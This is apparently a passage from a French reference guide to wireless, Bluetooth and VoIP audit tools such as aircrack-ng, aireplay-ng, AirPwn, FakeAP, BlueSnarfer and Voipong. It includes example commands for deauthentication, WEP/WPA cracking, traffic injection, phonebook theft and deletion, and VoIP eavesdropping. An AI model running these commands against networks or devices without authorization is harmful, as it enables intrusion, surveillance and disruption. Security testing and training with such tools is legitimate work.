source=driver,interface,vendeur[,cannal]
Exemple :
source=rt73,rausb0,Ralink
Il est possible de récupérer ces informations à l'aide de airmon-ng.
Vous pouvez spécifier autant de sources que d'interfaces disponibles.
Le canal initial est optionnel (si le channelHopping est désactivé) et permet de définir le canal a écouter par le biais de l'interface.
Pour une utilisation sans modification, ouvrir un shell et activez le mode monitor (airmon-ng), puis tapez :
kismet -c rt73,rausb0,Ralink (pour une clé avec chipset ralink rt73)
kismet -c madwifi_g,wifi0,ath1 (pour une clé avec chipset atheros)
etc ...
Pour fixer kismet sur un channel, ouvrir le fichier kismet.conf et modifier la ligne :
channelhop=false
Il ne vous restera plus qu'à lancer kismet en fesant :
kismet -c madwifi_g,wifi0,ath1,6
Dans cette exemple, la carte wifi est à chipset atheros, "6" fait réference au channel 6
Interface
Pour afficher l'interface d'aides tapez h (quand kismet est lancé)
QUICK REFERENCE
Key Action
e List Kismet servers
z Toggle fullscreen zoom of network view
m Toggle muting of sound and speech
t Tag (or untag) selected network
g Group tagged networks
u Ungroup current group
c Show clients in current network
L Lock channel hopping to the current network channel
H Return to normal channel hopping
+/- Expand/collapse groups
^L Force a screen redraw.
POPUP WINDOWS
h Help (What you're looking at now)
n Name current network
i Detailed information about selected network
s Sort network list
l Show wireless card power levels
d Dump printable strings
r Packet rate graph
a Statistics
p Dump packet type
f Follow network center
w Track alerts
x Close popup window
Q Quit
Légende
Network/Group types (T):
P Probe request - no associated connection yet
A Access point - standard wireless network
H Ad-hoc - point-to-point wireless network
T Turbocell - Turbocell aka Karlnet or Lucent Rout
O Lucent - Lucent Outdoor Router network
G Group - Group of wireless networks
D Data - Data only network with no control packets.
Client types (T):
F From DS - client broadcast from wireless distribution system
T To DS - client transmitted over the wireless to the distribution system
I Intra DS - client is a node of the distribution system talking to another
node in the distribution system
E Established - client has been seen entering and leaving the DS
- Unknown - client is in an unknown state
Type of Encryption (W):
N No encryption in use
Y WEP encryption on use
O Other encryption in use (e.g. LEAP)
Status Flags:
F Vulnerable factory configuration.
T# Address range of # octets found via TCP traffic
U# Address range of # octets found via UDP raffic
A# Address range of # octets found via ARP traffic
D Address range found via observed DHCP traffic
Colour Network/Client Type:
Yellow Unencrypted Network
Red
Factory default settings in use!
Green Secure Networks (WEP, WPA etc..)
Blue SSID cloaking on / Broadcast SSID disabled
#Aireplay-ng
Aireplay-ng fait partie de la suite d’aircrack-ng. Il permet d’écouter et d’injecter des paquets dans un réseau. Les différentes options permettent entre autres
de définir les adresses MAC de la source et de la destination des paquets injectés. RTFM.
Le programme est disponible en ligne de commande. La carte 802.11b/g utilisé doit supporter le mode Monitoring. Différentes méthodes de configuration sont
disponibles ici.
Version actuelle : 0.9
Usage
aireplay-ng <options> <interface d'injection>
Options
Les options d'écoute
-b bssid : adresse MAC du point d’accès
-d dmac : adresse MAC de la destination
-s smac : adresse MAC de la source
-m len : longueur minimum des paquets
-n len : longueur maximal des paquets
-u type : frame control, type field
-v subt : frame control, subtype field
-t tods : frame control, To DS bit
-f fromds : frame control, From DS bit
-w iswep : frame control, WEP bit
Les options d'injection
-x nbpps : nombre de paquets par seconde
-p fctrl : set frame control word (hex)
-a bssid : adresse MAC du point d’accès
-c dmac : adresse MAC de la destination
-h smac : adresse MAC de la source
-e essid : attaque par fausse authentification : SSID du réseau cible
-j : attaque par injéction d'arp : inject FromDS pkts
-g valeur : change ring buffer size (default: 8)
-k IP : set destination IP in fragments
-l IP : set source IP in fragments
-o npckts : nombre de paquets par (-1)
-q sec : seconde entre keep-alives (-1)
-y prga : keystream for shared key auth
Les options de gestion
-i iface : capture les paquets à partir de cette interface
-r fichier : extrait les paquets à partir de ce fichier
Modes d'attaques
--deauth count : déauthentification de une ou toutes les stations (-0)
--fakeauth delay : fausse authentification avec le point d'accès (-1)
--interactive : interactive frame selection (-2)
--arpreplay : injection standard de requêtes arp (-3)
--chopchop : decryptage/chopchop de paquet WEP (-4)
--fragment : genere des keystream valides (-5)
--test : test d'injection (-9)
Les nombres entre les parenthèses peuvent très bien être utilisés au lieu du nom complet.
Exemples
Une déauthentification
aireplay-ng -0 1 -a PA_MAC -c S_MAC rausb0
Une fausse authentification
aireplay-ng -1 0 -e SSID -a PA_MAC -h S_MAC rausb0
Une injection de requêtes arp
aireplay-ng -3 -a PA_MAC -b ESSID -c S_MAC rausb0
NB :
PA_MAC = adresse MAC du point d'accès
S_MAC = adresse MAC de la source
ESSID = essid du réseau
#Aircrack-ng
Anciennement aircrack (œuvre de Christophe Devine). Aircrack-ng implémente des algorithmes efficaces pour casser les chiffrements mis en place pour
sécuriser les transmissions des réseaux wifi 802.11.
(brouillon : mettre ici, les divers attaques implémentés et leurs types de fonctionnement)
Usage
usage: aircrack-ng [options] <.cap / .ivs file(s)>
Options
Options communes:
-a <amode> : force à utiliser un mode d'attaque (1/WEP, 2/WPA-PSK)
-e <essid> : sélection de la cible: identifiant réseau
-b <bssid> : sélection de la cible: point d'accès MAC
-q
: active le mode silencieux (no status output)
Options pour le cracking static de clées WEP:
-c
: rechercher seulement les caractères alphanumériques
-t
: rechercher seulement les caractères décimaux codés en binaire
-h
: rechercher les clées numériques pour Fritz!BOX
-d <mask> : débuggage - spécifier le masque de la clée (A1:XX:CF)
-m <maddr> : adresse MAC pour filtrer les packets utilisables.
-n <nbits> : WEP key length : 64/128/152/256/512
-i <index> : WEP key index (1 to 4), default: any
-f <fudge> : bruteforce fudge factor, default: 2
-k <korek> : désactiver une méthode d'attaque (1 à 17)
-x or -x0 : disable last keybytes bruteforce
-x1
: enable last keybyte bruteforcing (default)
-x2
: enable last two keybytes bruteforcing
-X
: désactiver le multithreading pour le bruteforce (SMP seulement)
-y
: mode de bruteforce expérimental
-s
: affiche la clée de chiffrement en ASCII
Options pour le cracking de clées WEP et WPA-PSK:
-w <words> : emplacement d'un dictionnaire (plusieurs dictionnaires peuvent-être utilisés.
pour plus d'information, consultez les manpages)
Exemples d'utilisation
aircrack-ng -a 1 -n 64 nom_du_fichier.cap
-a = 1/wep ; 2/wpa-psk (force attack).
-n = niveau d' encryption wep (64/128/152/256/512)bits. "option facultative"
nom_du_fichier.cap = nom utilisé par la commande -w, dans airodump-ng.
#Cowpatty
Les accès wifi protégés par une clé partagé (PreSharedKey) utilisé dans le chiffrement WPA, peuvent être audités par CowPatty. Il est donc capable à partir d'un
dictionnaire, de retrouver la passphrase utilisé dans une communication chiffrée sans fil. Dans la mesure où cette clé est contenue dans le dictionnaire en
question.
version actuelle : 4.0
Usage
Cowpatty
Options
-f file
Ouvrir le dictionnaire file
-d fhash
Ouvrir un fichier hash (genpmk)
-r pcapfile
Lire un fichier de capture de paquet.
-s essid
Indiquer l'essid cible (mettre entre guillemet si il y a un espace)
-h Afficher cette aide et quitter.
-v Afficher plus d'information (ajouter un -v pour encore plus d'information)
-V Afficher la version et quitter.
Exemples d'utilisation
Lire un fichier .cap (par ex, obtenu avec airodump), en utilisant le dictionnaire all, sur le ssid nommé btwifi :
./cowpatty -r wpa-sniff.cap -f all -s btwifi
#WepCrack
WepCrack est comme son nom l'indique, un petit casseur de clé wep développé par Anton T. Rager. Son paquage contient en réalité deux outils, WepCrack et
WepDecrypt. WepDecrypt, quant à lui, permet de déchiffrer les données transitants par le protocole 802.11b au travers du cryptage WEP.
Version actuelle : 0.1.0
Utilisation de WepCrack
Utilisation de WepDecrypt
#AirPwn
Airpwn est un framework pour l'injection de paquet 802.11, c'est à dire l'injection au sein de réseau sans-fil. Il va dans un premier temps écouter les paquets
pour déterminer si ils correspondent aux règles de son fichier de configuration.
Si tel est le cas, les données adéquates(images, javascript,...) seront injectées pour remplacer(spoofer) celles par défaut.
Fonctionnalités :
usage: airpwn -c <conf file> -d <driver name> [interface options] [options]
<conf file> : configuration file
<driver name> : supported wireless driver name
Interface options:
You can use -i to set all 3 interfaces at once, or use the
other options to set each interface individually.
-i <iface> : sets the listen/control/inject interface
-M <iface> : sets the listen (monitor) interface
-C <iface> : sets the control interface
-I <iface> : sets the injection interface
Optional arguments:
-l <logfile> : log verbose data to a file
-f <filter> : bpf filter for libpcap
-F : assume no FCS values from the monitored interface
-m <max> : Specify the maximum data chunk size (MTU - headers)
-k <WEP key>: key to use to de/encrypt WEP packets. You can
use this option multiple times to specify multiple WEP keys.
-v : increase verbosity (can be used multiple times)
-h : get help (this stuff)
Supported drivers are: wlan-ng hostap airjack prism54 madwifing madwifiold rtl8180 rt2570 rt2500 rt73 rt61 zd1211rw bcm43xx d80211 ath5k iwlwifi
Installation
Commencer par télécharger airpwn 1.3 :
cd /pentest/wireless
wget http://sourceforge.net/project/downloading.php?group_id=115632&use_mirror=mesh&filename=airpwn-1.3.tgz&55435474
tar zxvf airpwn-1.3.tgz
Utilisation de base
On commence par mettre notre carte en mode monitor:
airmon-ng
airmon-ng start wlan0
et on lance un petit scan pour réperer le réseau et le chan
airodump-ng wlan0
Resultat
Maintenant on se place dans le dossier
cd airpwn-1.3
Et voila un premier exemple d'injection sur un réseau ouvert
airpwn -c conf/greet_html -i wlan0 -d rtl8180 -vv -F
Il faut saisir le channel, 7 ici.
L’injection commence
Resulat
Un autre exemple :
airpwn -c conf/js_html -i wlan0 -d rtl8180 -vv –F
Resultat
#FakeAP
Black Alchemy's Fake AP est un script perl qui permet de générer des centaines de points d'accès 802.11b contrefait, ce qui créé une cacophonie de trames
beacon et créé la confusion au sein des sniffers tels que NetStrumbler ou Kismet. Outre sa capacité de HoneyPot, Fake AP peut être utilisé pour conduire des
attaques.
NOTE: requier les drivers Hostap pour générer de faux APs sinon ça génère de faux clients à la place...
Usage
fakeap.pl --interface wlanX [--channel X] [--mac XX:XX...] [--essid NAME] [--words FILENAME] [--sleep N] [--vendors FILENAME] [--wep N] [--key KEY]
Option
--channel X
Définir le channel utilisé
--essid NAME
Définir un nom ESSID
--mac XX:XX... Définir l'adresse MAC XX:XX:XX:XX:XX
--words FILE
Utilise le fichier FILE pour créé les ESSIDs
--sleep N
Attend N sec entre les permutations, default 0.25
--vendor FILE Utilise le fichier FILE pour définir les préfixes vendeur des adresse MAC
--wep N
Utilisé le WEP par probabilité N ou 0 < N <= 1 (1 = WEP activé, 0 = WEP désactivé)
--key KEY
Définir la clé WEP a utilisé. Passé directement à iwconfig
--power N
Varie la puissance Tx entre 1 et N. En milliwatts.
Exemples d'utilisation
Générer des APs à partir d'une liste de nom et d'adresse mac (listes présentes dans le répertoire /lists):
perl fakeap.pl --interface wlan0 --words lists/stefan-wordlist.txt --vendors lists/stefan-maclist.txt
Générer des APs avec le même essid sur le channel 11 (l'adresse Mac est généré automatiquement):
perl fakeap.pl --interface wlan0 --channel 11 --essid Bidon
Générer des APs sur la même adresse Mac:
perl fakeap.pl --interface wlan0 --mac 00:11:22:33:44
#Bdaddr
Permet de changer l’adresse unique 48 bit du périphérique Bluetooth (Bluetooth Device Address).
Usage
bdaddr [-i <dev>] [-r] [-t] [new bdaddr]
Exemples d'utilisation
bdaddr -i 00:00:00:00:00 -r -t 00:00:00:00:11
#BlueBugger
BlueBugger est une implémentation de la technique bluebug découverte Martin Herfurt du Trifinite Group. Testé sur Nokia 6310i, Nokia N72 et Sony Ericsson
T68i. L'exploitation de cette faille permet de passer des appels, envoyer des SMS, lire des SMS depuis le téléphone, lire/écrire des entrées dans le répertoire du
téléphone, paramétrer le renvoie d'appel, se connecter a internet, forcer l'utilisation d'un provider, et bien plus encore grace au commandes AT des GSM.
Usage
Usage: bluebugger [OPTIONS] -a <addr> [MODE]
-a <addr> = Bluetooth address of target
Options:
--------m <name> = Name to use when connecting (default: )
-d <device> = Device to use (default: '/dev/rfcomm')
-c <channel> = Channelto use (default: 17)
-n
= No device name lookup
-t <timeout> = Timeout in seconds for name lookup (default: 5)
-o <file> = Write output to <file>
Mode:
----info
= Read Phone Info (default)
phonebook
= Read Phonebook (default)
messages
= Read SMS Messages (default)
dial <num>
= Dial number
ATCMD
= Custom Command (e.g. '+GMI')
Note: Modes can be combined, e.g. 'info phonebook +GMI'
Commandes AT GSM
Nokia GSM
Sagem
Ericsson
...
Mobile supporté
Nokia 6310(i)
Sony Ericsson T68i (partiellement)
Nokia N72
autres ?
#BlueSnarfer
Bluesnarfer permet de télécharger/effacer/écrire dans le répertoire, passé des appels, envoyer des commande AT vers tous téléphones mobile vulnérable au
BlueSnarfing.
Usage
usage: ./bluesnarfer [options] [ATCMD] -b bt_addr
ATCMD : valid AT+CMD (GSM EXTENSION)
TYPE : valid phonebook type ..
example : "DC" (dialed call list)
"SM" (SIM phonebook)
"RC" (recevied call list)
"XX" much more
-b bdaddr : bluetooth device address
-C chan : bluetooth rfcomm channel
-c ATCMD : custom action
-r N-M : read phonebook entry N to M
-w N-M : delete phonebook entry N to M
-f name : search "name" in phonebook address
-s TYPE : select phonebook memory storage
-l
: list aviable phonebook memory storage
-i
: device info
Exemples d'utilisation
Lister le carnet d'adresse (1 à 100):
bluesnarfer -r 1-100 -b 00:00:00:00:00
Effacer le carnet da'adresse (1 à 100):
bluesnarfer -w 1-100 -b 00:00:00:00:00
Afficher les appels recu (1 à 100):
bluesnarfer -s RC -r 1-100 -b 00:00:00:00:00
Passer un appel via une commande AT:
bluesnarfer -c 'ATDT00000000;' -b 00:00:00:00:00
Commandes AT GSM
Nokia GSM
Sagem
Ericson
...
BTscanner
Btscanner permet de lister les périphériques bluetooth disponible et d'y extraire des informations(marque du constructeur, adresse mac, le nom du
périphérique...) sans avoir recours au processus de pairage(Echange de confiance entre deux périphériques qui établissent pour la première fois une
communication).
Version actuelle : 2.1
Usage
Usage: btscanner [--no-reset] [--cfg=<filename>] [--help]
--no-reset : Ne pas éteindre le périphérique Bluetooth avant le scan.
--cfg=<file> : Utiliser <file> comme fichier de configuration au lieu du fichier par défaut.
--help
: Affiche l'aide.
Commandes
i => Commencer le scan.
b => Commencer le scan en mode brute-force.
a => Annuler tous scan.
q => Quitte l'écran actuel de btscanner.
Q => Quitte complètement btscanner
s => Enregistre dans un fichier le résumé de toutes les actions depuis la derniere fois.
o => Trie la sortie. Choisissez celle proposé à l'écran.
Exemples d'utilisation
Btscanner se lance en mode interactif, il utilise la librairie ncurses. Vous n'aurez qu'à vous réferrez à l'aide.
bt ~ # btscanner
8 ANALYSE DE VOIP ET DE TÉLÉPHONIE
#Voipong
Voipong, est un sniffer écrit en C qui détecte toutes transmissions VOIP utilisant la norme de compression audio G-711 utilisé couramment dans les protocoles
VOIP. Enregistré sous le format wav, Voipong supporte le protocole SIP, H323, SCCP, RTP and RTCP. Ses principales avantages sont :
L'écoute direct grâce au format wave.
Simple, optimisé, et portable.
L'algorithme se base directement sur les protocoles RTP/RTCP.
Un rapport détaillé et simple pour des statistiques.
Une interface de gestion complète. (cf. "voipctl")
Simple installation et débogage.
Usage
usage: voipong [options]
Options
-h affiche l'aide.
-v affiche la version
-f Ne pas executer le programme en arrière plan(ou démon)
-d Niveau du débogage. Les niveaux varient entre 0 et 4. Par défaut: 0
-c Chemin vers un fichier de configuration
Exemples d'utilisation
Écoute Voip, en utilisant un niveau de debug maximal, en lancant voipong en premier plan :
$ voipong -f -d 4